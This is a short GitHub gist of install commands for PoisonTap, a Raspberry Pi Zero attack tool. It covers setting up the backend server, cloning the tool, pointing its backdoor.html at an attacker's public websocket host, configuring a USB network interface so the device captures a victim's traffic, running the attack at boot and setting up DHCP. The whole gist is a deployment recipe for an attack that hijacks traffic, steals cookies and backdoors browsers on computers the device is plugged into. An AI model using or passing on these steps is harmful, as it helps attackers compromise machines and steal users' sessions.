Skip to content

Instantly share code, notes, and snippets.

@wikijm
Forked from jgamblin/Pi.txt
Created December 9, 2016 12:39
Show Gist options
  • Save wikijm/e7c6c59a949f3f7ea8dcde1b021ef09e to your computer and use it in GitHub Desktop.
Save wikijm/e7c6c59a949f3f7ea8dcde1b021ef09e to your computer and use it in GitHub Desktop.
PoisonTap Install Commands
##Server:
sudo apt-get update && apt-get upgrade
sudo apt-get install screen nodejs nodejs-legacy git npm
sudo npm install websocket
git clone https://github.com/samyk/poisontap
screen
sudo node backend_server.js
##piZero:
sudo apt-get update && apt-get upgrade
sudo apt-get -y install isc-dhcp-server dsniff screen nodejs git
git clone https://github.com/samyk/poisontap
Update ws://YOUR.DOMAIN:1337 in backdoor.html to your public IP
ws://poisontap.jgamblin.com:1337
#add this to /etc/network/interfaces:
auto usb0
allow-hotplug usb0
iface usb0 inet static
address 1.0.0.1
netmask 0.0.0.0
#Setup to run at boot:
sudo cp /home/pi/poisontap/pi_startup.sh /etc/init.d/ && sudo chmod +x /etc/init.d/pi_startup.sh
add this to /etc/rc.local right above exit 0:
/etc/init.d/pi_startup.sh &
#DHCP:
sudo cp -f dhcpd.conf /etc/dhcp/dhcpd.conf
add this to /etc/default/isc-dhcp-server:
INTERFACES="usb0"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment